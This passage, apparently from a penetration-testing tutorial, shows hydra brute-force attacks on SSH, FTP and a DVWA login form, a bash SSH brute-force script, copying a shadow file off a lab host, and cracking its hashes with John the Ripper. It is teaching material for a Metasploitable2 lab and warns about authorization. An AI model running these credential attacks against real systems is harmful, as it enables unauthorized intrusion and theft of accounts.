  1. Try this attack again, this time using -t 3 instead of -t 4. This time, it should work just fine:
    ┌──(kali㉿kali)-[~]
    └─$ hydra -L metasploitable_users.txt -P metasploitable_cewl_wordlist_2.txt -e nsr -t 3 -f ssh://192.168.56.240
    Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-31 14:55:15
    [DATA] max 3 tasks per 1 server, overall 3 tasks, 24508 login tries (l:11/p:2228), ~8170 tries per task
    [DATA] attacking ssh://192.168.56.240:22/
    [STATUS] 53.00 tries/min, 53 tries in 00:01h, 24455 to do in 07:42h, 3 active
    [22][ssh] host: 192.168.56.240 login: mrtux password: AndreaSterbini
    [STATUS] attack finished for 192.168.56.240 (valid pair found)
    1 of 1 target successfully completed, 1 valid password found
    Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-31 14:57:45

So, it appears that the -t 3 option represents the sweet spot for allowing the attack to succeed while still getting it done reasonably quickly.

In case you’re wondering, “Mr. Tux” is the name of the black and white tuxedo kitty who has recently adopted me (Donnie).

Attacking multiple targets at once with hydra

Section titled “Attacking multiple targets at once with hydra”

You can attack multiple targets at the same time by creating a list of targets that might look something like this:

192.168.56.102
192.168.56.111
192.168.56.240

Use the hydra -M option, followed by the name of the list file, to reference the list, like this:

┌──(kali㉿kali)-[~]
└─$ hydra -L metasploitable_users.txt -P metasploitable_cewl_wordlist.txt -e nsr ftp -M hydra_list.txt -f

The -f option that I’m using here will cause hydra to quit attacking a target as soon as a username and password match is found. It will then move to the next target. If you want the entire attack to end as soon as a match on any target is found, use the -F option instead.

In all cases, once you’ve found a proper username and password combination on a target machine, be sure to see if that user account has sudo privileges by running the sudo -l command. If it does, then you’ve just found the proverbial keys to the kingdom.

You can use the -o switch to save the usernames and passwords that hydra finds to a plain-text file, like this:

┌──(kali㉿kali)-[~]
└─$ hydra -L metasploitable_users.txt -P metasploitable_cewl_wordlist.txt -f -e nsr ftp://192.168.56.102 -o metasploitable_ftp_password.txt

You can also save to either a json or a jsonv1 file by adding either the -b json or the -b jsonv1 option, which would look something like this:

┌──(kali㉿kali)-[~]
└─$ hydra -L metasploitable_users.txt -P metasploitable_cewl_wordlist.txt -f -e nsr ftp://192.168.56.102 -o metasploitable_ftp_password.json -b json

Okay, I think that about does it for attacking network services with hydra. Let’s now turn our attention to attacking a web form login page.

Attacking a web form login page with hydra

Section titled “Attacking a web form login page with hydra”

Here’s where things get a bit more complex. This time, we’ll use the http-post-form module, which requires us to specify a couple of extra parameters.

  1. First, look at the parameter options for the http-post-form module, like this:
    ┌──(kali㉿kali)-[~]
    └─$ hydra -U http-post-form

The write-up is fairly extensive and a bit confusing, but the gist of it is that you’ll need to specify the ^USER^ and ^PASS^ parameters to serve as placeholders for the usernames and passwords in the hydra commands.

  1. On the Kali machine, open Firefox and then go to the Metasploitable2 web page. Click on the DVWA link to get to the DVWA login page. Don’t log in, though, because this is the page that we want to attack with hydra.
  2. On Firefox, open the Web Developer Tools box by pressing the F12 key, as you did in Chapter 5*, Automating Web Application Attacks*.
  3. Attempt to log into the DVWA page, deliberately using an incorrect username and password.
  4. In the Web Developer Tools box, click on the Network item in the top menu. On the left-hand side, click on the Post item that’s at the top. You should see something like this:

Figure 6.1 – Obtaining parameters for the hydra command from the Web Developer Tools

Figure 6.1 – Obtaining parameters for the hydra command from the Web Developer Tools

  1. Under the File column, you’ll see that login.php is the script file that contains the code for user logins. On the right-hand side, click on the Request tab. You’ll see that username, password, and Login are the names of the three form fields that we’ll need to reference in the hydra command.
  2. Finally, you’re ready to perform the hydra attack against this login page. Here’s how it looks:
    ┌──(kali㉿kali)-[~]
    └─$ hydra -L metasploitable_users.txt -P metasploitable_cewl_wordlist.txt 192.168.56.102 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:login.php" -f -e nsr -o dvwa_passords.txt

Even though I included the -e nsr option, it won’t do anything for us this time. That’s because in this example, the username isn’t the same as the password, as was the case in previous examples. So, depending on how far down the list the username and password are in their respective wordlists, this might possibly run for quite a while before the match is found.

Also note that in this case, I separated the module name (http-post-form) from the IP address, instead of using the module_name://IP_address format that I used in previous examples. (This alternate method works better when you need to pass parameters to the module.) Finally, note that I had to place the page designation (/dvwa/login.php) as a separate parameter that’s apart from the IP address, and that the page designation has to begin with a forward slash. Otherwise, it won’t work.

In this case, we again attacked a web page that doesn’t use TLS encryption. If you need to attack a page that does use TLS, just replace http-post-form with https-post-form.

Okay, I think that this about wraps it up for hydra. Now, let’s create a shell script that can attack SSH.

Attacking the SSH daemon with a shell script

Section titled “Attacking the SSH daemon with a shell script”

Normally, for a machine that’s running a current version of an SSH daemon, you would use the ssh command to remotely log in. If you try to remotely log into a machine that’s running a version of OpenSSH that’s as old as what’s on the Metasploitable2 machine, you’ll get an error message due to it using deprecated key exchange algorithms. It looks something like this:

┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
Unable to negotiate with 192.168.56.102 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

Fortunately, Kali also comes with an older version of the OpenSSH client already installed. All you have to do is use the ssh1 command, instead of the normal ssh command, like so:

┌──(kali㉿kali)-[~]
└─$ ssh1 [email protected]
/etc/ssh/ssh_config line 53: Unsupported option "gssapiauthentication"
[email protected]'s password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
. . .
. . .
Last login: Mon Aug 4 14:28:45 2025
msfadmin@metasploitable:~$

It did give us a warning message about having an unsupported option in the ssh_config file, but it still let us in. So, it’s all good.

Note that using the ssh1 client utility does not mean that you’re using SSH Protocol version 1, which was deprecated many years ago. (In fact, only SSH Protocol version 2 is enabled on the Metasploitable2 machine.) The sole purpose of ssh1 is to allow you to connect to really old SSH servers that use the legacy DSA and RSA SSH keys. In real life, you’ll likely never have to use ssh1, unless you find yourself working with a client who is still running legacy equipment. Also, you’ll only find ssh1 on Linux distros that are meant for penetration testing, like Kali Linux. It’s not available for any normal Linux distros that you’d use in real life.

On the off chance that you’ll ever need to attack a machine that’s this ancient, you can use the ssh1 command in a shell script, instead of trying to use hydra. To demo this, we’ll look at the ssh-crack1.sh script. To make it a bit easier to explain, I’ll break it down into bite-sized chunks. Here’s the top part:

#!/bin/bash
target="${1}"
port="${2}"
usernames=( $(cat "${3}") )
passwords=( $(cat "${4}") )

To make this work, we’ll need to pass four arguments to the script as positional parameters. These arguments are:

  • target: This is the IP address of the target machine.
  • port: Most of the time this will be port 22. But, some administrators like to run SSH on an alternate port.
  • usernames: This will be the name of the text file that contains the list of usernames.
  • passwords: This will be the name of the text file that contains the list of passwords.

We’ll begin the script by defining the variable names that we want to associate with the positional parameters. The usernames and passwords variables are variable arrays. We’ll build these arrays by reading in the username and password lists that we’ll specify with positional parameters 3 and 4.

In this next stanza, we’ll ensure that users always enter all four arguments:

if [[ "$#" -ne 4 ]] ; then
echo "Usage: ./ssh-crack1.sh target port username_list password_list"
fi

Finally, we have the real meat and potatoes of the script:

for user in "${usernames[@]}"; do
for password in "${passwords[@]}"; do
if sshpass -p"${password}" ssh1 -o "StrictHostKeyChecking=no" -p "${port}" "${user}"@"${target}" exit > /dev/null 2>&1; then
echo "Successful login."
echo "Host: ${target}"
echo "Username: ${user}"
echo "Password: ${password}"
exit 0
else
echo "No login credentials found for ${target}"
fi
done
done

The outer for loop reads in the list of usernames from the usernames array, one name at a time. For each iteration of the loop, it assigns a name to the user variable, and then passes control to the inner for loop. The sshpass utility passes each password, one at a time, from the passwords array to the ssh1 utility. The -o "StrictHostKeyChecking=no" option for ssh1 allows the login process to continue without interruption if the target machine’s public key isn’t in the ~/.ssh/known_hosts file of the Kali machine. We then pass the port number, username, and target IP address to ssh1, via the variables that were assigned to their respective positional parameters, which will log us in if the username and password are correct. Then, we’ll execute the exit command on the target machine, which will log us right back out. The > /dev/null 2>&1 part directs the normal screen output from a normal login to the /dev/null device, so that it won’t show up on the screen.

If a correct username and password match is found, the echo statements will let us know. If no match is found, the final echo statement will let us know about that.

Now that you have a script that will work with ancient versions of OpenSSH, go ahead and run this against your Metasploitable2 machine.

Before you start, do yourself a favor and move msfadmin close to the top of the username list, and also move msfadmin to near the top of the passwords list. Otherwise, this will run for a very long time, because the script can’t perform parallel login operations the way that hydra can. If you use this script in real life, though, just understand that it might take a very long time to find a match, and that there’s nothing that you can do about it.

The command, with all of the required arguments, will look something like this:

┌──(kali㉿kali)-[~]
└─$ ./ssh-crack1.sh "192.168.56.102" 22 metasploitable_users.txt metasploitable_cewl_wordlist_2.txt
No login for msfadmin and Injection on 192.168.56.102
No login for msfadmin and Mutillidae on 192.168.56.102
No login for msfadmin and JavaScript on 192.168.56.102
No login for msfadmin and PeterThoeny on 192.168.56.102
No login for msfadmin and Security on 192.168.56.102
No login for msfadmin and password on 192.168.56.102
No login for msfadmin and Register on 192.168.56.102
No login for msfadmin and security on 192.168.56.102
Successful login.
Host: 192.168.56.102
Username: msfadmin
Password: msfadmin

You can also use this script on more modern SSH implementations by replacing the ssh1 command with the normal ssh command. But, if hydra is available, you’re better off using it, because it’s much faster than the script.

Here’s another little secret that you might find interesting. It’s just that when you begin to create a script, you’ll often find that there are multiple ways to achieve a particular task. In this case, we could have replaced the inner for loop that processes the passwords array with a while loop that doesn’t require a passwords array. Instead of using a passwords array, we could make the while loop use the read -r password command to read each password directly from the designated passwords file. However, this won’t work for us, because the while loop executes faster than the inner for loop that I used in the ssh-crack1.sh script. This causes the SSH login process to reset after a certain number of incorrect passwords. But, the script continues to run, still attempting to log in with additional passwords. Until the SSH login reset times out, login attempts from the script will all get rejected, which means that you’ll likely never find the right username and password match. As you’ve already seen though, using the inner for loop construct works just fine.

So, the lesson here is that when there are multiple methods for accomplishing a task, it sometimes matters which method you choose. You might need to experiment a bit to see which method works best.

This pretty much wraps it up for our discussion of online password attacks. Next, we’ll talk about performing offline password attacks.

Unlike the online password attacks that you’ll do with hydra, offline password attacks don’t involve trying to break into a target machine. To perform an offline attack, you’ll need to have already obtained admin access to the target machine. “What’s the point, then?”, I hear you asking. Well, offline password crackers, such as John the Ripper, are great for auditing users’ passwords to see if anyone is using weak passwords that can be easily cracked. You can also use it to try to recover a lost password.

And here, I must offer a word of caution. I’m sure that you already know that you need to have proper written authorization before you attempt to break into someone else’s machine with an online password attack. But if you’re a security administrator for any type of business enterprise, you might decide to take it upon yourself to use a password cracker for auditing the passwords of the company’s users. That would be a huge mistake.

In 1993, there was the somewhat celebrated case of Randal Schwartz, who at the time was a systems administrator for Intel Corporation. He became concerned about Intel’s password security, so with the best of intentions he performed a password audit. The problem was that he failed to first obtain proper written authorization. He did find some weak user passwords, including the pre$ident password that belonged to one of Intel’s vice presidents. Finally, another administrator noticed what Mr. Schwartz was doing and called the police on him. Intel then had Mr. Schwartz legally prosecuted for cracking his own company’s passwords without first obtaining proper written authorization. (Mr. Schwartz was convicted of three different felonies.) The lesson here is, even if you’re an authorized security administrator for your company, don’t think that it’s okay to crack your users’ passwords without explicit permission.

You can read about this sad case here: https://www.theregister.com/2001/04/09/original_intel_hackers_appeal_denied/

And you can read about Mr. Schwartz’s eventual exoneration here:

https://en.wikinews.org/wiki/The_sentence_of_Intel%27s_former_contractor_expunged

Before we get into how to use John the Ripper, allow me to say a few words about how passwords work on Linux and Unix systems.

Understanding the Linux and Unix shadow system, and password hash algorithms

Section titled “Understanding the Linux and Unix shadow system, and password hash algorithms”

On every modern Unix and Linux operating system, two files are necessary for allowing user logins: the /etc/passwd and /etc/shadow files on Linux and OpenIndiana systems, and the /etc/passwd and /etc/master.passwd files on BSD-type systems.

The /etc/passwd file contains a list of both human and system users, along with information about their default login shell, their default home directory, as well as a few other items. On the Metasploitable2 machine, the passwd entry for the msfadmin user looks like this:

msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash

The colon-separated fields, in order, are:

  • Username: In this case, the username is msfadmin.
  • Password: Most of the time, you’ll just see an x in this field. Ironically, even though passwd is short for “password”, and this is the password field, you never want to see a password here on modern Linux or Unix systems. That’s because the passwd file has to be world-readable so that it can be accessed during the login process, before the user enters his or her password. Somebody finally figured out that storing passwords in a world-readable file was a bad idea, which is why we now use the shadow system. (I’ll talk more about that in a moment.).
  • User ID and Group ID: The next two fields are for the User ID number (UID) and the user’s Group ID number (GID), respectively.
  • Comment field: You can use this field for things like the user’s full name or contact information. In this case, the comment is msfadmin,,,.
  • Default home directory: This defines the user’s default home directory, where his or her personal files are stored.
  • Default login shell: This defines the default shell for the user. In this case, the msfadmin user uses bash by default.

In the /etc/shadow file, which only privileged users can access, you’ll find that users’ passwords are stored as hashes, instead of as plain text. Here’s the entry for the msfadmin user:

msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

Here, the first two fields are the only ones that interest us. The first field is the username field, and the second field contains the hash value of the user’s password. In this case, the hash value begins with $1$, which means that the weak, creaky old MD5 algorithm was used to create this hash. But, when using offline password crackers such as John the Ripper, even using the world’s strongest hash algorithm wouldn’t make a difference. (In fact, we’ll look at that in just a few moments.) That’s because these tools use either brute-force or dictionary attacks, just as the online tools do. So, if you have wordlists that contain the correct username and password for an account that’s on your target system, you’ll still successfully penetrate the system.

After MD5 was deprecated, most Linux and Unix systems switched to the SHA512 algorithm, and for a brief period, a few used the bcrypt algorithm. While Unix-type systems still mostly use SHA512, most new Linux systems have moved to the yescrypt algorithm. We’ll look at these newer algorithms when we get to the demos.

Using John the Ripper to crack operating system passwords is a two-stage process. We’ll look at the first stage now.

Stage 1—Preparing the username and hash file for John the Ripper

Section titled “Stage 1—Preparing the username and hash file for John the Ripper”

In order to use John the Ripper, you’ll need to log into the target machine with either the root user account or an account that has full sudo privileges. That’s because you’ll need to access the /etc/shadow file, which requires root user privileges to read. Here’s the procedure.

  1. Log into the Metasploitable2 machine as the msfadmin user, which will give you full sudo privileges.
  2. Copy the /etc/passwd file and the /etc/shadow file to the msfadmin user’s home directory:
    msfadmin@metasploitable:~$ cd /etc
    msfadmin@metasploitable:/etc$ cp passwd ~
    msfadmin@metasploitable:/etc$ sudo cp shadow ~
    [sudo] password for msfadmin:
    msfadmin@metasploitable:/etc$ cd
    msfadmin@metasploitable:~$
  3. The copy of the shadow file that’s in the msfadmin user’s home directory still belongs to the root user, and only the root user and members of the root group can access it. Change the permissions to the 644 setting, so that others can also access it:
    msfadmin@metasploitable:~$ sudo chmod 644 shadow
    msfadmin@metasploitable:~$ ls -l shadow
    -rw-r--r-- 1 root root 1207 2025-08-05 15:11 shadow
    msfadmin@metasploitable:~$
  4. Now, we need to transfer the passwd file and the shadow file to the Kali machine. I would normally use either scp or sftp for that, but we can’t in this case. Sadly, scp and sftp on the Metasploitable2 machine also use the deprecated rsa and dsa key exchange methods. On Kali, there’s no equivalent of the ssh1 command for either scp or sftp, so we’ll need to find another transfer method. Fortunately, we can log into the FTP service, and use that instead. So, go back to the Kali machine and log in to the Metasploitable2 machine via FTP:
    ┌──(kali㉿kali)-[~]
    └─$ ftp [email protected]
    Connected to 192.168.56.102.
    220 (vsFTPd 2.3.4)
    331 Please specify the password.
    Password:
    230 Login successful.
  5. Use the get command to download the shadow and passwd files, like this:
    ftp> get shadow
    local: shadow remote: shadow
    229 Entering Extended Passive Mode (|||42187|).
    150 Opening BINARY mode data connection for shadow (1207 bytes).
    100% |********************************************************************************************| 1207 4.42 MiB/s 00:00 ETA
    226 Transfer complete.
    1207 bytes received in 00:00 (621.02 KiB/s)
    ftp> get passwd
    local: passwd remote: passwd
    229 Entering Extended Passive Mode (|||28205|).
    150 Opening BINARY mode data connection for passwd (1581 bytes).
    100% |********************************************************************************************| 1581 5.66 MiB/s 00:00 ETA
    226 Transfer complete.
    1581 bytes received in 00:00 (1.12 MiB/s)
    ftp>
  6. The unshadow utility is part of the John the Ripper package. Use it now to combine information from the passwd and shadow files into one single file:
    ┌──(kali㉿kali)-[~]
    └─$ unshadow passwd shadow > unshadow_output.txt

The output file will look something like this:

root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
. . .
. . .
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:*:105:113::/var/cache/bind:/bin/false
postfix:*:106:115::/var/spool/postfix:/bin/false
ftp:*:107:65534::/home/ftp:/bin/false
postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:!:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:*:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:*:111:65534::/:/bin/false
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
telnetd:*:112:120::/nonexistent:/bin/false
proftpd:!:113:65534::/var/run/proftpd:/bin/false
statd:*:114:65534::/var/lib/nfs:/bin/false

This is great, except that you see a lot of lines with either a ! or an * in the password field. These accounts have no assigned password, but that doesn’t really matter. When we process this list, John the Ripper will just skip over these lines. However, if you need a clean list that only contains user accounts that do have assigned passwords, you can use your friend awk, like so:

┌──(kali㉿kali)-[~]
└─$ awk '/\$1\$/ {print $0}' unshadow_output.txt | tee unshadow_output-with_passwords.txt
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash

The /\$1\$/ part of this is the search term that we want awk to find. In this case, we’re dealing with the MD5 hash algorithm, which is represented by $1$. Since the $ character has a special meaning in bash commands, we have to escape both of them with a \ in order to make this work. The {print $0} part tells awk to show all fields of all lines that contain the $1$ search term. Finally, I’m piping the output into tee in order to direct the output to both the screen and to a new text file.

This procedure also works for Unix-like operating systems, such as FreeBSD and OpenIndiana. OpenIndiana uses the same shadow file and passwd file setup that Linux uses, so there’s no difference in the procedure for it.

The BSD-type operating systems use the /etc/master.passwd file instead of the /etc/shadow file. Other than that, the procedure is the same.

Also, the BSD and OpenIndiana operating systems use SHA512 password hashing, which means that in the awk command that I just showed you, you would replace /\$1\/ with /\$6\/. (I’ll explain what that means in just a bit.)

That’s it for the preparation. Next, we’ll use the john utility to process the unshadow_output.txt file in order to find user passwords.

Stage 2—Using john to process the username and hash file

Section titled “Stage 2—Using john to process the username and hash file”

This part is easy, but exactly how you do it depends on which hash algorithm is being used on the target machine. We’ll begin with the MD5 algorithm that’s used on the Metasploitable2 machine. Here’s how it works:

┌──(kali㉿kali)-[~]
└─$ john unshadow_output.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
user (user)
postgres (postgres)
msfadmin (msfadmin)
service (service)
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
123456789 (klog)
batman (sys)
Proceeding with incremental:ASCII
. . .
. . .

The warning at the top says that we should specify the md5crypt-long algorithm, but it’s still working fine with just the default md5crypt. It then begins processing the list in single attack mode. This means that it’s looking for passwords that are the same as their corresponding usernames. As you see, this matches the first four usernames that we’ve found. After that, it begins the dictionary attack—which John the Ripper developers refer to as a wordlist attack —for accounts that don’t use usernames as the passwords, using John the Ripper’s default password.lst wordlist file. After finding all the passwords it can find with a dictionary attack, it begins processing the rest of the list with a brute-force attack, which John the Ripper refers to as an incremental attack. If you don’t need or want to run the brute-force attack, hit the q key to exit.

In this case, there are seven accounts that have assigned passwords, and the single and wordlist attacks found six of them. The only password we didn’t find was for the root account. To find it, you could allow john to continue running the brute-force (incremental) attack. But, if the root user is using a password that’s even only reasonably strong, the chances of finding the password in your lifetime are rather slim. A better option might be to use a different password list. Before you try that, though, cd into the .john directory and delete all of the files you see there:

┌──(kali㉿kali)-[~]
└─$ cd .john
┌──(kali㉿kali)-[~/.john]
└─$ ls
john.log john.pot
┌──(kali㉿kali)-[~/.john]
└─$ rm *
zsh: sure you want to delete all 2 files in /home/kali/.john [yn]? y
┌──(kali㉿kali)-[~/.john]
└─$ cd
┌──(kali ㉿kali)-[~]
└─$

The john.pot file contains the list of cracked hashes and passwords. If you don’t delete this file before you perform the next demo, john will just treat these passwords as having already been found, and you won’t see them come up again in the next demo.

Now, perform the attack with a different password list, like this:

┌──(kali㉿kali)-[~]
└─$ john unshadow_output.txt --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456789 (klog)
batman (sys)
service (service)
3g 0:00:02:52 DONE (2025-08-06 15:33) 0.01740g/s 81820p/s 327338c/s 327338C/s !!!0mc3t..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Sadly, the root user’s password isn’t in this wordlist, either. So if we really need to get it, we’ll just have to keep trying other wordlists. You’ll also see here that by specifying the wordlist mode, the single and incremental modes didn’t run. So, we didn’t find all of the passwords. To fix that, run single mode, like this:

┌──(kali㉿kali)-[~]
└─$ john unshadow_output.txt --single
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Remaining 4 password hashes with 4 different salts
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
user (user)
postgres (postgres)
msfadmin (msfadmin)
Almost done: Processing the remaining buffered candidate passwords, if any.
3g 0:00:00:00 DONE (2025-08-06 15:46) 12.00g/s 4752p/s 4776c/s 4776C/s root1968..root1900
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

This found the remaining passwords that the wordlist mode didn’t find. But, in both of these commands, john gives you a warning message about how it detected the md5crypt hash type, but that it’s also recognized as the md5crypt-long hash type. As long as john successfully finds the users’ passwords, you can safely ignore this warning. But if john doesn’t find the passwords, or if this warning message really annoys you, just follow the warning message’s recommendation to use the --format=md5crypt-long option, like this:

┌──(kali㉿kali)-[~]
└─$ john unshadow_output.txt --single --format=md5crypt-long

Unfortunately, john doesn’t allow you to specify two modes at the same time in a single command. So, if you want to run both the single mode and the wordlist mode, but don’t want to run the incremental mode, you’ll need to create a shell script, which might look something like this john_single-wordlist.sh script:

#!/bin/bash
InputList="${1}"
if [[ $# -ne 1 ]]; then
echo "You need to supply the name of an unshadowed hash file."
echo "List only one file name."
exit 1
fi
john "${InputList}" --single
john "${InputList}" --wordlist

You’ll supply the name of the unshadowed username and hash file when you invoke the script. If you don’t, the if..then stanza will remind you. The name of this file will be assigned to the InputList variable. After that, it’s just a simple matter of running the john commands in both single and wordlist modes, with the default password wordlist. But you might not always want to use the default password wordlist. So, let’s fix that in the john_single-wordlist_2.sh script:

#!/bin/bash
InputList="${1}"
WordList="${2}"
if [[ $# -lt 1 || $# -gt 2 ]]; then
echo "You need to supply the name of an unshadowed hash file."
echo "Optionally, specify the name of a password wordlist,"
echo "if you don't want to use the default wordlist."
echo "Only enter two arguments."
exit 1
fi
if [[ -z "${WordList}" ]]; then
john "${InputList}" --single
john "${InputList}" --wordlist
else
john "${InputList}" --single
john "${InputList}" --wordlist="${WordList}"
fi

At the top, I added an additional positional parameter, which will be assigned to the WordList variable. I then modified the if..then stanza to show an error message if the user either enters fewer than one argument, or more than two arguments. In the if..then..else stanza, I’m first testing to see if the length of the WordList variable value is 0. If it is 0, then the john commands will run with the default wordlist. If it’s not 0, then john will run with the specified wordlist.

I just now created a user account for Mr. Tux on an old AlmaLinux 8 virtual machine, using the same AndreaSterbini password that I used on the Ubuntu Server machine. (I’ll explain why I’m using AlmaLinux 8 for this in just a bit.) I then transferred the shadow and passwd files to the Kali machine, and then created an unshadowed file, as I did for the Metasploitable2 machine. Here’s my command for running the new script with an alternate password wordlist:

┌──(kali㉿kali)-[~]
└─$ ./john_single-wordlist_2.sh unshadow_alma8_output.txt metasploitable_cewl_wordlist_2.txt

Does the new script work? Indeed it does, as you see here:

. . .
. . .
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
AndreaSterbini (mrtux)
2g 0:00:00:01 DONE (2025-08-07 14:29) 1.785g/s 1988p/s 2445c/s 2445C/s
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Once again, we have achieved coolness. Now, let’s talk a bit about the different hashing algorithms.

I’ve already mentioned that several types of hashing algorithms are used on various Linux and Unix distros, but I haven’t yet explained them in detail.

Really old Linux and Unix operating systems use the MD5 algorithm, as I’ve already mentioned. If you look in a shadow file and see $1$ at the beginning of the second field, you’ll know that that machine is using MD5. In fact, here’s what the msfadmin user’s entry looks like on the Metasploitable2 machine:

msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

After MD5 was deprecated due to being so weak, most Linux and Unix distros switched to the SHA512 algorithm. On these machines, the second field of the shadow file will begin with $6$, as you see here from an AlmaLinux 8 virtual machine:

mrtux:$6$5UFRI/Zl2b5/eoA6$DA9EYyeU.i9ryBWJbzK8MkR8ppyIMJ.5MOoeypC9MhaK.Lr6gMDdO8dg8k6gZ9gXPz8nb8fzHzW/NpmD/DIDr1:20307:0:99999:7:::

You also see that a SHA512 hash is considerably longer than an MD5 hash.

The commands and scripts that I’ve shown you so far work just fine with either MD5 or SHA512 hashes. But they’ll need a bit of tweaking to work on the next algorithm.

In the shadow file for any newer Linux distro, you’ll see a $y$ at the beginning of the shadow file’s second field. This indicates that we’re using the fancy new yescrypt algorithm, which is supposed to be the strongest password hashing algorithm ever created. Here’s how it looks:

mrtux:$y$j9T$gr9eJmQ6Lrfkq3t38XbAD0$/kVDih1uMsacgyP2f.XkZXCF/davzvd9MGx6H/Lhm74:20296:0:99999:7:::

But, this creates a minor problem for us. Watch what happens when I try to process the unshadowed file from an AlmaLinux10 machine that uses yescrypt:

┌──(kali㉿kali)-[~]
└─$ ./john_single-wordlist_2.sh unshadow_alma10_output.txt metasploitable_cewl_wordlist_2.txt
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)

It doesn’t work, because john doesn’t have the yescrypt algorithm built into it. Fortunately, that’s an easy fix, as we see here in the john_single-wordlist_3.sh script:

#!/bin/bash
InputList="${1}"
WordList="${2}"
if [[ $# -lt 1 || $# -gt 2 ]]; then
echo "You need to supply the name of an unshadowed hash file."
echo "Optionally, specify the name of a password wordlist,"
echo "if you don't want to use the default wordlist."
echo "Only enter two arguments."
exit 1
fi
if [[ -z "${WordList}" ]]; then
john "${InputList}" --single --format=crypt
john "${InputList}" --wordlist --format=crypt
else
john "${InputList}" --single --format=crypt
john "${InputList}" --wordlist="${WordList}" --format=crypt
fi

All I had to do was add --format=crypt to the end of each john command. This causes john to use the crypt library that’s built into most modern implementations of Linux.

The last example that I’ll show you is from the Ubuntu Server machine that I used in some of the previous demos, because it’s a bit of an anomaly:

donnie:$6$3JTdxSKp6PhFKukX$mp1bOfvs2/oaj2ZLgbsNM2DYh2/f628yG6bh0m AKPHY5KdvTCxZ6xUEE6prfvGFxD5qjeHd4G8gm16yqpExcB.:20223:0:99999:7:::
mrtux:$y$j9T$MUAjOhEet8Vxd.I6FhOSp0$Chl1fSZ0FmnHNQK08RfIPcJ9WKs62MaWIFheYBhYAw9:20299:0:99999:7:::

The donnie account is my own account that the Ubuntu installer created for me. It has a $6$ in the second field, which means it’s using SHA512. But, the account that I created for Mr. Tux has a $y$, which means that the adduser utility uses yescrypt. It’s weird, but that’s just the way it is. Fortunately, the --format=crypt option that we need for yescrypt also works with both MD5 and SHA512. So, you don’t need to do separate runs to work with all three of these algorithms.

The --format=crypt option works with MD5, SHA512, yescrypt, as well as with a few other algorithms that you’ll likely never see, such as bcrypt. So, you can just have this one script that will handle multiple hashing algorithms. However, as we’ll soon see, there will be other occasions where this option won’t work.

Now, go ahead and try this out for yourself:

